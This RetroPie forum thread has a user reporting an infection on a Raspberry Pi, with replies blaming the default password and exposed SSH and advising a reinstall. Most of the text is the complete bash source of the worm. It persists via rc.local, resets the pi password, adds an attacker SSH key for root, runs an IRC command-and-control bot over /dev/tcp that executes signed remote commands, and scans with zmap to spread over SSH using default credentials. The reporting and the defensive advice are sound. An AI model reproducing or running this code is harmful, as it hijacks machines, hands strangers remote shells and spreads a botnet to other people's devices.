RetroPie forum home
    • Recent
    • Tags
    • Popular
    • Home
    • Docs
    • Register
    • Login

    Possible trojan found on my RetroPie

    Scheduled Pinned Locked Moved General Discussion and Gaming
    trojanvulnerabilty
    4 Posts 3 Posters 732 Views
    Loading More Posts
    • Oldest to Newest
    • Newest to Oldest
    • Most Votes
    Reply
    • Reply as topic
    Log in to reply
    This topic has been deleted. Only users with topic management privileges can see it.
    • J
      JMPIV4
      last edited by

      I found this little bugger on my pi after getting it setup it hijacked my rc.local file and put it into a loop is hound I found it the only thing I installed outside of RetroPies own installers/repositories is skyscraper but at this point I'm not sure where it came from. Another possibility is having SSH enabled without out a proper firewall and not changing root login? As I barely got it back up and running I'll update as I go.

      #!/bin/bash
      
      MYSELF=`realpath $0`
      DEBUG=/dev/null
      echo $MYSELF >> $DEBUG
      
      if [ "$EUID" -ne 0 ]
      then 
      	NEWMYSELF=`mktemp -u 'XXXXXXXX'`
      	sudo cp $MYSELF /opt/$NEWMYSELF
      	sudo sh -c "echo '#!/bin/sh -e' > /etc/rc.local"
      	sudo sh -c "echo /opt/$NEWMYSELF >> /etc/rc.local"
      	sudo sh -c "echo 'exit 0' >> /etc/rc.local"
      	sleep 1
      	sudo reboot
      else
      TMP1=`mktemp`
      echo $TMP1 >> $DEBUG
      
      killall bins.sh
      killall minerd
      killall node
      killall nodejs
      killall ktx-armv4l
      killall ktx-i586
      killall ktx-m68k
      killall ktx-mips
      killall ktx-mipsel
      killall ktx-powerpc
      killall ktx-sh4
      killall ktx-sparc
      killall arm5
      killall zmap
      killall kaiten
      killall perl
      
      echo "127.0.0.1 bins.deutschland-zahlung.eu" >> /etc/hosts
      rm -rf /root/.bashrc
      rm -rf /home/pi/.bashrc
      
      usermod -p \$6\$vGkGPKUr\$heqvOhUzvbQ66Nb0JGCijh/81sG1WACcZgzPn8A0Wn58hHXWqy5yOgTlYJEbOjhkHD0MRsAkfJgjU/ioCYDeR1 pi
      
      mkdir -p /root/.ssh
      echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJISIufmqpqg54D6s4J0L7XV2kep0rNzgY1S1IdE8HDef7z1ipBVuGTygGsq+x4yVnxveGshVP48YmicQHJMCIljmn6Po0RMC48qihm/9ytoEYtkKkeiTR02c6DyIcDnX3QdlSmEqPqSNRQ/XDgM7qIB/VpYtAhK/7DoE8pqdoFNBU5+JlqeWYpsMO+qkHugKA5U22wEGs8xG2XyyDtrBcw10xz+M7U8Vpt0tEadeV973tXNNNpUgYGIFEsrDEAjbMkEsUw+iQmXg37EusEFjCVjBySGH3F+EQtwin3YmxbB9HRMzOIzNnXwCFaYU5JjTNnzylUBp/XB6B"  >> /root/.ssh/authorized_keys
      
      echo "nameserver 8.8.8.8" >> /etc/resolv.conf
      rm -rf /tmp/ktx*
      rm -rf /tmp/cpuminer-multi
      rm -rf /var/tmp/kaiten
      
      cat > /tmp/public.pem <<EOFMARKER
      -----BEGIN PUBLIC KEY-----
      MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC/ihTe2DLmG9huBi9DsCJ90MJs
      glv7y530TWw2UqNtKjPPA1QXvNsWdiLpTzyvk8mv6ObWBF8hHzvyhJGCadl0v3HW
      rXneU1DK+7iLRnkI4PRYYbdfwp92nRza00JUR7P4pghG5SnRK+R/579vIiy+1oAF
      WRq+Z8HYMvPlgSRA3wIDAQAB
      -----END PUBLIC KEY-----
      EOFMARKER
      
      BOT=`mktemp -u 'XXXXXXXX'`
      
      cat > /tmp/$BOT <<'EOFMARKER'
      #!/bin/bash
      
      SYS=`uname -a | md5sum | awk -F' ' '{print $1}'`
      NICK=a${SYS:24}
      while [ true ]; do
      
      	arr[0]="ix1.undernet.org"
      	arr[1]="ix2.undernet.org"
      	arr[2]="Ashburn.Va.Us.UnderNet.org"
      	arr[3]="Bucharest.RO.EU.Undernet.Org"
      	arr[4]="Budapest.HU.EU.UnderNet.org"
      	arr[5]="Chicago.IL.US.Undernet.org"
      	rand=$[$RANDOM % 6]
      	svr=${arr[$rand]}
      
      	eval 'exec 3<>/dev/tcp/$svr/6667;'
      	if [[ ! "$?" -eq 0 ]] ; then
      			continue
      	fi
      
      	echo $NICK
      
      	eval 'printf "NICK $NICK\r\n" >&3;'
      	if [[ ! "$?" -eq 0 ]] ; then
      			continue
      	fi
      	eval 'printf "USER user 8 * :IRC hi\r\n" >&3;'
      	if [[ ! "$?" -eq 0 ]] ; then
      		continue
      	fi
      
      	# Main loop
      	while [ true ]; do
      		eval "read msg_in <&3;"
      
      		if [[ ! "$?" -eq 0 ]] ; then
      			break
      		fi
      
      		if  [[ "$msg_in" =~ "PING" ]] ; then
      			printf "PONG %s\n" "${msg_in:5}";
      			eval 'printf "PONG %s\r\n" "${msg_in:5}" >&3;'
      			if [[ ! "$?" -eq 0 ]] ; then
      				break
      			fi
      			sleep 1
      			eval 'printf "JOIN #biret\r\n" >&3;'
      			if [[ ! "$?" -eq 0 ]] ; then
      				break
      			fi
      		elif [[ "$msg_in" =~ "PRIVMSG" ]] ; then
      			privmsg_h=$(echo $msg_in| cut -d':' -f 3)
      			privmsg_data=$(echo $msg_in| cut -d':' -f 4)
      			privmsg_nick=$(echo $msg_in| cut -d':' -f 2 | cut -d'!' -f 1)
      
      			hash=`echo $privmsg_data | base64 -d -i | md5sum | awk -F' ' '{print $1}'`
      			sign=`echo $privmsg_h | base64 -d -i | openssl rsautl -verify -inkey /tmp/public.pem -pubin`
      
      			if [[ "$sign" == "$hash" ]] ; then
      				CMD=`echo $privmsg_data | base64 -d -i`
      				RES=`bash -c "$CMD" | base64 -w 0`
      				eval 'printf "PRIVMSG $privmsg_nick :$RES\r\n" >&3;'
      				if [[ ! "$?" -eq 0 ]] ; then
      					break
      				fi
      			fi
      		fi
      	done
      done
      EOFMARKER
      
      chmod +x /tmp/$BOT
      nohup /tmp/$BOT 2>&1 > /tmp/bot.log &
      rm /tmp/nohup.log -rf
      rm -rf nohup.out
      sleep 3
      rm -rf /tmp/$BOT
      
      NAME=`mktemp -u 'XXXXXXXX'`
      
      date > /tmp/.s
      
      apt-get update -y --force-yes
      apt-get install zmap sshpass -y --force-yes
      
      while [ true ]; do
      	FILE=`mktemp`
      	zmap -p 22 -o $FILE -n 100000
      	killall ssh scp
      	for IP in `cat $FILE`
      	do
      		sshpass -praspberry scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME  && echo $IP >> /opt/.r && sshpass -praspberry ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &
      		sshpass -praspberryraspberry993311 scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME  && echo $IP >> /opt/.r && sshpass -praspberryraspberry993311 ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &
      	done
      	rm -rf $FILE
      	sleep 10
      done
      
      fi
      
      
      
      H 1 Reply Last reply Reply Quote 0
      • H
        hhromic @JMPIV4
        last edited by

        @JMPIV4 you definitively got this trojan because of having the default password + SSH enabled and it being exposed to the public internet.
        See here: https://www.tobsan.se/update/2017/11/06/rpi-trojan.html

        Be more careful next time :)

        1 Reply Last reply Reply Quote 0
        • J
          JMPIV4
          last edited by

          Thanks as Linux is not my strong point

          1 Reply Last reply Reply Quote 0
          • mituM
            mitu Global Moderator
            last edited by

            We had this kind of incidents reported before - that's why it's recommended you change the default password for the pi user. Unfortunately the best advice is to wipe clean the card and re-install the system.

            1 Reply Last reply Reply Quote 0
            • First post
              Last post

            Contributions to the project are always appreciated, so if you would like to support us with a donation you can do so here.

            Hosting provided by Mythic-Beasts. See the Hosting Information page for more information.